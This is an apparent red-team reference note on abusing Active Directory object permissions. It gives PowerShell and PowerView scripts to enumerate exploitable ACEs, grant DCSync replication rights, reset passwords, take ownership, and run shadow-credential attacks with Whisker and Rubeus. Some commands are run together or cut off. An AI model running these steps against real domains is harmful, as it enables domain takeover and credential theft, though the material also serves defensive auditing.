Every Active Directory security principal object, uniquely identified by a Security Identifier (SID) across a domain, has a security descriptor, which dictates the trustees that are granted permissions over the object.
The security descriptor is formatted according to the Security Descriptor Definition Language (SDDL) and will usually be divided into two types of ACL:
A Discretionary Access Control List (DACL) which define the trustees that are allowed or denied permissions to the object
A System Access Control List (SACL) which can be used to log attempts to access the object.
The SDDL uses Access Control Entry (ACE) strings in the DACL and SACL components of a security descriptor string. Each ACE in a security descriptor string is composed of a trustee SID and an access mask defining their associated permissions / access rights. Moreover, a bit flag determine whether child containers or objects can inherit the ACE from the primary object to which the ACL is attached.
Each ACE in the SACL specifies the types of access attempts by a specified trustee that cause the system to generate a record in the security event log.
Active Directory ExtendedRights
A number of extended rights (ExtendedRight) are defined by Active Directory to allow permission control on predefined tasks.
Some of these tasks, detailed below, can be exploited to different ends:
Right
Object type
Right's GUID
Description
AllExtendedRights
Any.
00000000-0000-0000-0000-000000000000
All ExtendedRight. On computers objects, includes the possibility to retrieve the LAPS password (if LAPS is deployed on the affected computers).
User-Force-Change-Password
User and computer accounts.
00299570-246d-11d0-a768-00aa006e0529
ExtendedRight that permits the resetting of an user account password.
DS-Replication-Get-Changes
Domain root object.
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
ExtendedRight that permits, in combination with DS-Replication-Get-Changes-All, replication requests through DRSUAPI functions.
DS-Replication-Get-Changes-All
Domain root object.
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
ExtendedRight that permits, in combination with DS-Replication-Get-Changes, replication requests through DRSUAPI functions.
Enumeration of DACL
Unitary enumeration
DSACLS.exe or Get-ACL from the Remote Server Administration Tools (RSAT) and PowerView's Get-DomainObjectAcl (previously Get-ObjectAcl) can be used to enumerate the DACL of an Active Directory object.
For a more fine grained enumeration, and translation of extended rights GUID to human readable names, the Active Directory Users and Computers (dsa.msc) utility, integrated in the Remote Server Administration Tools (RSAT) tools suite, can be used. The dsa.msc can be started on out-of-the domain machines and using Pass-the-hash attack through the Microsoft Management Console (MMC) utility. For more information, refer to the Active Directory - Domain Recon note.
dsacls.exe<DistinguishedName>dsacls.exe \\<DC_IP|DC_HOSTNAME\<DistinguishedName># PowerShell ActiveDirectory module.# New-PSDrive is necessary on out-of-the-domain systems, the AD should automatically be mapped otherwise whenever importing the ActiveDirectory PowerShell module
New-PSDrive -Name <AD | DRIVE_NAME> -PSProvider ActiveDirectory -Root "//RootDSE/" -Server "<DC_IP>" -Credential <PSCredential>
# Enumerates the ACL directly using the Get-ACL PowerShell cmdlet which requires a DistinguishedName as parameter.Get-ACL -Path "<AD | DRIVE_NAME>:<DistinguishedName>" | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight'
# Searches the specified object across all the domain's objects and enumerates its ACL.# Supports regex searches. Example: -LDAPFilter '(sAMAccountName=*<SAMACCOUNTNAME>*)'Get-ADObject -LDAPFilter '(sAMAccountName=<SAMACCOUNTNAME>)' | Select-Object -ExpandProperty DistinguishedName | foreach { Get-Acl -Path ("AD:\" + $_) | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }
# PowerShell PowerView.Get-DomainObjectAcl-Identity<SamAccountName|DistinguishedName|SID|GUID>Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID> -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials>
# List ACE of the specified user on the specified object$UserSID = Get-DomainObject -Identity <SamAccountName | DistinguishedName | SID | GUID> | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -Identity <SamAccountName | DistinguishedName | SID | GUID> -ResolveGUIDs | ? {$_.securityidentifier -eq $UserSID}
Domain-wide automated enumeration
The BloodHound ingestor SharpHound (ACL or All collection methods) and the PingCastle's compromise graph can be used to automatically enumerate security objects DACL in order to find exploitable paths. Refer to the Active Directory - AD scanners note for more information.
PowerView can also be used for domain-wide enumeration and filtering on potentially exploitable ACEs. The absence of multi-threading however prevents the use of such queries on larger Active Directory domains.
# Enumeration through a Global Catalog of possibly exploitable ACE on all AD objects defined for the "Everyone", "Anonymous", "Authenticated Users", "Users", "Domain Users" and "Domain Computers" groups.
# Note that it is recommended to use PingCastle's aclcheck module as it additionally implements checks on GPO files in the SYSVOL share.
# Enumeration can be limited to specific object types using an optional LDAP filter.# GPO: (objectCategory=groupPolicyContainer) | Certificate templates: (objectClass=pKICertificateTemplate)$AD_Drive = "ADX"$GC = (Get-ADDomainController-Discover-ServiceGlobalCatalog).HostNameNew-PSDrive-Name $AD_Drive -PSProviderActiveDirectory-Root"//RootDSE/"-Server"$GC"Get-ADObject -Server "$($GC):3268" -SearchBase "" -LDAPFilter '(objectClass=*)' | Select-Object -ExpandProperty DistinguishedName | foreach {
$VulnACL = Get-Acl -Path ($AD_Drive + ":\" + $_) | Select -ExpandProperty Access | ? { ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner' -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|00299570-246d-11d0-a768-00aa006e0529|1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) -and $_.IdentityReference -match 'Domain Users|Everyone|Authenticated Users|Anonymous|Domain Computers' -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly" }
If ($VulnACL) {Write-Host $_ $VulnACL }}Remove-PSDrive-Name $AD_Drive# Similar to the code snippet above, using PowerView and more prone to false positives.Get-DomainObjectAcl [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] [-LDAPFilter '<LDAP_FILTER>'] | ? { (($_.SecurityIdentifier -eq 'S-1-1-0') -or ($_.SecurityIdentifier -eq 'S-1-5-7') -or ($_.SecurityIdentifier -eq 'S-1-5-11') -or ($_.SecurityIdentifier -eq 'S-1-5-32-545') -or ($_.SecurityIdentifier -like 'S-1-5-*-513') -or ($_.SecurityIdentifier -like 'S-1-5-*-515')) -and (($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and (($_.ObjectAceType -eq $null) -or ($_.ObjectAceType -match "00000000-0000-0000-0000-000000000000|00299570-246d-11d0-a768-00aa006e0529|1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"))) -or (($_.ActiveDirectoryRights -match 'Self') -and ($_.ObjectAceType -match "00000000-0000-0000-0000-000000000000|bf9679c0-0de6-11d0-a285-00aa003049e2")))}
Get-ADObject [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] [-LDAPFilter '<LDAP_FILTER>'] | Select-Object -ExpandProperty DistinguishedName | foreach { Get-Acl -Path ("AD:\" + $_) | S
elect -ExpandProperty Access | ? ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' -and }
# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - CURRENT domain - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
$ForestSID = (Get-ADForest).RootDomain |%{ (Get-ADDomain -Server $_).DomainSID }$DomainSID = (Get-ADDomain).DomainSID$EnterpriseAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountEnterpriseAdminsSid, $ForestSID)).Value
$DomainAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountDomainAdminsSid, $DomainSID)).Value
$AdministratorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid, $DomainSID)).Value
$BackupOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinBackupOperatorsSid,$DomainSID)).Value
$DnsAdminsSID = (Get-ADGroup-Identity"DnsAdmins").SID$PrintOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinPrintOperatorsSid,$DomainSID)).Value
$ServerOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinSystemOperatorsSid,$DomainSID)).Value
$AccountOperatorsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::BuiltinAccountOperatorsSid,$DomainSID)).Value
$SchemaAdminsSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountSchemaAdminsSid,$DomainSID)).Value
$DomainControllersSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::AccountControllersSid,$DomainSID)).Value
$EnterpriseControllersSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::EnterpriseControllersSID ,$DomainSID)).Value
$CreatorOwnerSID = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::CreatorOwnerSid ,$DomainSID)).Value
$SelfSid = (New-Object System.Security.Principal.SecurityIdentifier ([System.Security.Principal.WellKnownSidType]::SelfSid,$DomainSID)).Value
$SIDs = @($DomainAdminsSID, $EnterpriseAdminsSID, $AdministratorsSID, $BackupOperatorsSID, $DnsAdminsSID, $PrintOperatorsSID, $ServerOperatorsSID, $AccountOperatorsSID, $SchemaAdminsSID, $DomainControllersSID, $EnterpriseControllersSID, $CreatorOwnerSID, $LocalSystemSID, $SelfSid)
Get-DomainObjectAcl | ? { (($SIDs -notcontains $_.SecurityIdentifier) -and ($_.SecurityIdentifier -notlike "S-1-5-21*-526") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-527")) -and ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner')}
# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - ALL domains - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
# The objects enumerated can be limited to users, groups, computers, GPOs and OUs using the following LDAP Filter:# Get-DomainObjectAcl -LDAPFilter "(|(objectClass=group)(objectClass=user)(objectClass=computer)(objectClass=groupPolicyContainer)(objectClass=organizationalunit))"
$DnsAdminsSID = (Get-ADGroup-Identity"DnsAdmins").SIDGet-DomainObjectAcl | ? { (($_.SecurityIdentifier -notlike "S-1-5-21*-512") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-519") -and ($_.SecurityIdentifier -notlike "S-1-5-32-544") -and ($_.SecurityIdentifier -notlike "S-1-5-32-548") -and ($_.SecurityIdentifier -notlike "S-1-5-32-549") -and ($_.SecurityIdentifier -notlike "S-1-5-32-550") -and ($_.SecurityIdentifier -notlike "S-1-5-32-551") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-518") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-516") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-526") -and ($_.SecurityIdentifier -notlike "S-1-5-21*-527") -and ($_.SecurityIdentifier -notlike "S-1-5-18") -and ($_.SecurityIdentifier -notlike "S-1-5-9") -and ($_.SecurityIdentifier -notlike "S-1-3-0") -and ($_.SecurityIdentifier -notlike "S-1-5-10") -and ($_.SecurityIdentifier -notlike $DnsAdminsSID)) -and ($_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner')}
# Enumeration on exploitable ACE on GPO objects for non-default users (RID >= 1000).Get-DomainObjectAcl [-Server <DC_HOSTNAME | DC_IP>] [-Credential <PSCredential>] -LDAPFilter '<LDAP_FILTER>' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
The AD ACL Scanner GUI tool, written in PowerShell, can be used to enumerate all the domain objects' ACL and export the result either to an HTML document or a csv / xml file. The scan can be run on all the domain objects or recursively on all objects in a specific Organizational Unit (Users, Computers, etc.).
For a full domain-wide scan, it is recommended to activate the following options:
Scan depth -> Subtree
Objects to scan -> All objects
View in report -> View Owner, Skip Default Permissions and SD Modified date
Output options -> Translate GUID's in CSV ouput (to convert the properties GUID into their name)
The following objects classes may be specified in Objects to scan for a more targeted scan approach:
Admin SD Holders: (AdminCount=1)
For GPO: (objectClass=groupPolicyContainer)
Grouper2 can also be used, notably in a more thorough review of GPO including the definition of user rights (Active Directory - GPO users rights) and permissions on scripts and MSI packages executed / deployed through GPO.
The exploitable permissions, presented below, are of particular interest if attributed for one of the following groups:
Everyone, SID: S-1-1-0
Anonymous, SID: S-1-5-7
Authenticated Users, SID: S-1-5-11
Users, SID: S-1-5-32-545
Domain Users, SID: S-1-5-<DOMAIN>-513
Domain Computers, SID: S-1-5-<DOMAIN>-515
Domain root object exploitation
The domain root object yields the replication rights on the domain, necessary to make use of the DRSUAPI replication functions and that can be leveraged to conduct a DCSync attack.
The privileges on the domain root object necessary to make replication requests through the DRSUAPI are as follow:
Replicating Directory Changes All (Ds-Replication-Get-Changes-All, ACE GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
The ownership of the domain root object, or the WriteOwner, WriteDACL, GenericAll (on all properties, i.e the ObjectGuid of the ACE being equal to 00000000-0000-0000-0000-000000000000) privileges on the domain root object can be, directly or indirectly, leveraged to grant the Ds-Replication-Get-Changes and Ds-Replication-Get-Changes-All privileges on the domain.
# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example# Direct replication rightsGet-ACL -Path "AD:<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
# Rights that can be leveraged to modify the domain root object ACL to grant the privileges required for DRSUAPI replication
Get-ACL -Path "AD:<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'
The privileges above can be exploited either using the GUI RSAT's dsa.msc utility or using the following PowerView PowerShell cmdlets:
# Specifies ownership of the domain root object if needed (exploits having WriteOwner privilege on the domain root object with out the GenericAll or WriteDACL privileges)
Set-DomainObjectOwner -Verbose -Identity <DOMAIN_ROOT_OBJECT> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN_FQDN> -Credential <PSCredentials> -Identity <DOMAIN_ROOT_OBJECT> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID> -Verbose
# Once the domain owner is changed, the GenericAll privilege can be granted to users using the new owner identityAdd-DomainObjectAcl -Verbose -TargetIdentity <DOMAIN_ROOT_OBJECT> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights DCSync
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN_FQDN> -Credential <PSCredentials> -TargetIdentity <DOMAIN_ROOT_OBJECT> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights DCSync
Alternatively, a more manual approach, using the RSATGet-Acl and Set-Acl PowerShell cmdlets can be conducted (script largely inspired from gdedrouas 's Exchange-AD-Privesc):
# If needed, on a system with out the RSAT installed# Import-Module C:\Tools\Microsoft.ActiveDirectory.Management.dllNew-PSDrive-NameAD-PSProviderActiveDirectory-Root"//RootDSE/"-Server"<DC_IP>"$acl = Get-ACL "AD:<DOMAIN_ROOT_OBJECT>"$sidStr = "<USER_SID>"$sid = New-Object System.Security.Principal.SecurityIdentifier $sidStr$objectGuid = New-Object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2$identity = [System.Security.Principal.IdentityReference] $sid$adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"$type = [System.Security.AccessControl.AccessControlType] "Allow"$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)$objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
$acl.AddAccessRule($ace)Set-Acl-AclObject $acl "AD:<DOMAIN_ROOT_OBJECT>"
Users and groups permissions exploitation
Summary
The access rights detailed below can be exploited to gain control over an Active Directory object.
The GenericAll and WriteProperty rights apply over the attribute specified by its ObjectGuid (ObjectType property from PowerShell cmdlet). If the ObjectGuid is equal to 00000000-0000-0000-0000-000000000000, the right apply to all the properties of the object.
If the InheritedObjectType (PropagationFlags) is set to InheritOnly, the access right define by the ACE only apply to the child objects and not the object itself.
Object type
Privilege
Description
User
GenericAll (RIGHT_GENERIC_ALL).
Full rights on the security object (including WriteOwner and WriteDacl rights), can be used to change the user password.
User
GenericWrite (RIGHT_GENERIC_WRITE).
The associated Rights-GUID should normally be undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.
Ability to update any non-protected object (almost) all properties values and notably update the Script-Path or servicePrincipalName properties.
Does not provide the ability to reset an user password.
Equivalent to: RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY (on all properties) | RIGHT_DS_WRITE_PROPERTY_EXTENDED.
User
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties.
Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.
Ability to change the user password with out knowledge of the current user's password.
User
AllExtendedRights (RIGHT_DS_WRITE_PROPERTY_EXTENDED).
ActiveDirectoryRights: ExtendedRight and Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.
Ability to perform any action associated with extended Active Directory rights against the object, and notably ForceChangePassword which be used to change the user password.
User
WriteOwner (RIGHT_WRITE_OWNER).
Ability to change the owner of the user, thus granting complete control over the user and notably the ability to change the user's password.
User
WriteDacl (RIGHT_WRITE_DAC).
Ability to change the DACL of the user, thus granting complete control over the user and notably the ability to add ACE to change the user's password.
User
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to Script-Path.
Rights-GUID: bf9679a8-0de6-11d0-a285-00aa003049e2.
Ability to update the user logon script path which will be executed on the system upon user logon.
User
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to Public-Information or Public-Information/servicePrincipalName.
Public-Information's Rights-GUID: e48d0154-bcf8-11d1-8702-00c04fb96050.
servicePrincipalName's Rights-GUID: f3a64788-5306-11d1-a9c5-0000f80367c1.
Ability to define or update the Public-Information allows to define or write an user servicePrincipalName, which exposes the account to Kerberoasting.
User
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to Public-Information or Public-Information/User-Principal-Name and Public-Information/Alt-Security-Identities.
Public-Information's Rights-GUID: e48d0154-bcf8-11d1-8702-00c04fb96050.
User-Principal-Name's Rights-GUID: 28630ebb-41d5-11d1-a9c1-0000f80367c1.
Alt-Security-Identities's Rights-GUID: 00fbf30c-91fe-11d1-aebc-0000f80367c1.
Ability to define or update the Public-Information allows to define or write the User-Principal-Name or Alt-Security-Identities, which can be used to authenticate using a controlled trusted certificate.
User
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msDS-KeyCredentialLink.
msDS-KeyCredentialLink's Rights-GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063.
Ability to define or update the msDS-KeyCredentialLink attribute allows to set a Key Credential to request TGT for the user through PKINIT authentication (Key Trust model).
Group
GenericAll (RIGHT_GENERIC_ALL).
Full rights on the security object (including WriteOwner and WriteDacl rights), can be used to add an user to the group.
Group
GenericWrite (RIGHT_GENERIC_WRITE)
The associated Rights-GUID should normally be undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000
Ability to update any non-protected object (almost) all attributes and notably the member attribute, thus allowing oneself to add others security principals to the group.
Equivalent to: RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY (on all properties) | RIGHT_DS_WRITE_PROPERTY_EXTENDED.
Group
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all propertiesRights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000
Similar to the GenericWrite rights.
Group
SelfAll validated write or Self-Membership (RIGHT_DS_WRITE_PROPERTY_EXTENDED).
All validated write: Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.
Self-Membership's Rights-GUID: bf9679c0-0de6-11d0-a285-00aa003049e2.
Ability to update any non-protected group members by adding/removing one's own account to the group.
Group
WriteOwner (RIGHT_WRITE_OWNER).
Ability to change the owner of the group, thus granting complete control over the group and notably the ability to add others security objects to the group.
Group
WriteDacl (RIGHT_WRITE_DAC).
Ability to change the DACL of the group, thus granting complete control over the group and notably the ability to add others security objects to the group.
Group
WriteProperty (RIGHT_DS_WRITE_PROPERTY) to the Member attribute.
Member's Rights-GUID: bf9679c0-0de6-11d0-a285-00aa003049e2.
Ability to update any non-protected group members, thus allowing to add others security principals to the group.
User - GenericAll / ExtendedRight's ForceChangePassword / AllExtendedRights
The net user built-in utility, RSAT's Set-ADAccountPassword / PowerView's Set-DomainUserPassword PowerShell cmdlets, and mimikatz's lsadump::setntlm function can be used to reset a vulnerable user's password:
User - GenericWrite / Write-Property to all attributes or to the Public-Information/User-Principal-Name & Public-Information/Alt-Security-Identities attributes
The Public-Information attribute contains, among others, the User-Principal-Name and Alt-Security-Identities properties.
The ObjectType of the Public-Information is e48d0154-bcf8-11d1-8702-00c04fb96050.
A certificate issued by a Certificate Authority (CA) trusted by the domain must be controlled in order to be able to authenticate using a certificate.
The certificate must allow for remote client authentication, meaning the EnhancedKeyUsageList certificate attribute must contain the value (1.3.6.1.5.5.7.3.2). If so, the certificate will be marked as:
"The certificate can be used for authenticating a client."
"Garantit votre identité auprès d'un ordinateur distant."
The following utilities can be used to interact with the Windows certificate stores:
# View AD NTAuth trusted CAcertutil-enterprise-viewstoreCA# View local certificate store for current usercertutil-store-userMyGet-ChildItem -Recurse Cert:\CurrentUser\My\ | Format-List Thumbprint,Issuer,Subject,EnhancedKeyUsageList,HasPrivateKey,NotBefore,NotAfter
mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of one or multiple chosen snap-in -> Certificates -> Personnal -> Certificates
Setting the User-Principal-Name and Alt-Security-Identities properties is more easily done through the Microsoft Management Console (MMC) utility. The properties should be set to the RFC822 name format found in the certificate details using the mmc.exe utility.
Once the modification is made, the kekeo tool can be used to request a Ticket-Granting Ticket (TGT) for the targeted security principal:
# UPN name format example: USERNAME@DOMAIN_FQDN.
kekeo# tgt::ask /subject:"<SUBJECT_NAME_CONTAINS>" /castore:current_user /user:<UPN>
Note that in order to get around the replication time between Domain Controllers, it is recommended to request a TGT from the KDC of the Domain Controller on which was done the user object update.
User - GenericWrite / Write-Property to all attributes or to the msDS-KeyCredentialLink attribute
The ability to write a principal (user or computer object)'s msDS-KeyCredentialLink attribute can lead to the retrieval of the principal's NTLM hash.
An user's msDS-KeyCredentialLink attribute holds Key Credentials information for the given user. Key Credentials are part of the Key Trust model, introduced to support PKINIT authentication in environments without a Public Key Infrastructure (PKI) trusted by Active Directory (as required to implement the Certificate Trust model).
PKINIT is a Kerberos preauthentication mechanism which uses digital certificates to mutually authenticate the Key Distribution Center (KDC) and clients for Ticket Granting Ticket (TGT) requests (in AS-REQ and AS-REP messages). In environments with a PKI trusted by both parties, such as Active Directory Certificate Services (ADCS), digital certificates generated and signed by the trusted Certificate Authority (CA) will be used for the PKINIT authentication. However, to support password-less authentication through PKINIT (for example Windows Hello) in environments without a trusted PKI, the Key Trust model was introduced. In this model, PKINIT authentication is established using a client's public key that is stored as a Key Credentials object in its msDS-KeyCredentialLink attribute. The ability to modify an user (or computer) object's msDS-KeyCredentialLink attribute can thus be used to obtain a TGT for the principal through a PKINIT authentication.
To support subsequent NTLMSSO authentications for users that authenticated using PKINIT, Kerberos User-to-User (U2U) special service tickets (ST) allow a client to retrieve their NTLM hash. For more information on User-to-User (U2U)ST refer to the [ActiveDirectory] Certificate Services note (NTHash retrieval through User-to-User (U2U) special service tickets section).
The Whisker C# tool can be used to automate the generation of public / private keys and the modification of a targeted object's msDS-KeyCredentialLink attribute (given sufficient privileges). Using the generated private key, a TGT and subsequently a U2UST can be requested using Rubeus (Whisker will print the Rubeus command to request both tickets).
# Adds a new value to the targeted object's msDS-KeyCredentialLink attribute.# The public / private keys will be generated automatically and protected using a randomly generated password or the password specified using /password:<PASSWORD>.
# The DeviceID of the generated KeyCredential should be kept to remove the added key.Whisker.exeadd/target:<USERNAME>Whisker.exeadd/target:<USERNAME>/domain:<DOMAIN_FQDN>/dc:<DC>/path:<EXPORTED_CERTIFCATE_FILE>/password:<PASSWORD># Requests a TGT for the given user using the previously defined certificate and extract the NTLM hash of the account using a subsequent U2U ST request.
# This command is automatically generated by Whisker upon adding a certificate.Rubeus.exe asktgt /user:<USERNAME> /certificate:<BASE64_CERTIFICATE> /password:"<CERTIFICATE_PASSWORD>" /domain:<DOMAIN_FQDN> /dc:<DC> /getcredentials /show
# Lists the DeviceID and creation timestamp of the KeyCredentials stored in the msDS-KeyCredentialLink attribute of the specified object.
Whisker.exelist/target:<USERNAME>Whisker.exelist/target:<USERNAME>/domain:<DOMAIN_FQDN>/dc:<DC# Removes the KeyCredential specified using its DeviceID for the given object.Whisker.exeremove/target:<USERNAME>/deviceID:<DEVICE_ID>Whisker.exeremove/target:<USERNAME>/deviceID:<DEVICE_ID>/domain:<DOMAIN_FQDN>/dc:<DC
Group - GenericAll / GenericWrite / AddMembers / AllExtendedRights / WriteProperty to all properties / WriteProperty to the Member attribute / Self all or Self-Membership
Generic Write access grants the ability to write to any non-protected attribute on the target object, including members for a group.
net group, RSAT's Add-ADGroupMember, and PowerView's Add-DomainGroupMember PowerShell cmdlets can be used to add others security objects to the specified group. Additionally, the Active Directory Users and Computers snap-in can be used to add or remove members from Active Directory groups using a graphical interface.
Note that the Self-Membership right does not seem to be exploitable using the net group command but can be exploited using the PowerShell ActiveDirectory module Add-ADGroupMember.
The RSATGet-ACL and Set-ACL, and PowerView's Set-DomainObjectOwner PowerShell cmdlets can be used to change the owner of a security object. Being the owner of an user can be leveraged to change the user password and being the owner of a group can allows for the addition of others security objects to the group.
$ACL = Get-ACL -Path "AD:<OBJECT_DISTINGUISHED_NAME>"$Principal = New-Object System.Security.Principal.NTAccount("<DOMAIN>","<USERNAME | GROUPNAME>")$ACL.SetOwner($Principal)Set-Acl-Path"AD:<OBJECT_DISTINGUISHED_NAME>"-AclObject $ACLSet-DomainObjectOwner -Verbose -Identity <SamAccountName | DistinguishedName | SID | GUID> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
Set-DomainObjectOwner -Verbose -Server <DC_HOSTNAME | DC_IP> -Domain <DOMAIN> -Credential <PSCredentials> -Identity <SamAccountName | DistinguishedName | SID | GUID> -OwnerIdentity <SamAccountName | DistinguishedName | SID | GUID>
# Once the user / group owner is changed, the GenericAll privilege can be granted to users using the new owner identity.
# Refer to the "User - GenericAll" and "Group - GenericAll" parts for further exploitation.Add-DomainObjectAcl -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights All
User / group - WriteDacl
PowerView's Add-DomainObjectAcl and the ActiveDirectory module's Get-Acl / Set-Acl PowerShell cmdlet can be used to modify the specified object ACL.
Add-DomainObjectAcl can be used to add the following rights: GenericAll and ExtendedRight's ForceChangePassword. The WriteMembers option is documented as WriteProperty to the Member attribute but is non functional.
Additionally, the Active Directory Users and Computers snap-in can be used to modify ACL using a graphical interface.
# Procedure to the modify an object's ACL using ADUC.mmc.exe ->File ->Add/RemoveSnap-in... (Ctrl +M) -> Active Directory Users and Computers-> <DOMAIN> ->System ->rightclickAdminSDHolder ->Properties ->Security ->Advanced ->Add-> Selectaprincipal-> Type:Allow-> Permissions:FullControl/Writeallproperties/Modifypermissions/Modifyowner/...# Automated modification using PowerView's Add-DomainObjectAcl to grant the GenericAll and ExtendedRight's ForceChangePassword rights.
# TargetIdentity: security object that will be modified# PrincipalIdentity: security object that will be given the right over the targeted objectAdd-DomainObjectAcl -Verbose -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword | WriteMembers>
Add-DomainObjectAcl -Verbose -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredentials> -TargetIdentity <SamAccountName | DistinguishedName | SID | GUID> -PrincipalIdentity <SamAccountName | DistinguishedName | SID | GUID> -Rights <All | ResetPassword | WriteMembers>
# Manual modification using PowerShell ActiveDirectory module, that can be used to set specific ACE (GenericAll, ExtendedRight's ForceChangePassword, and WriteProperty to the Member attribute below).
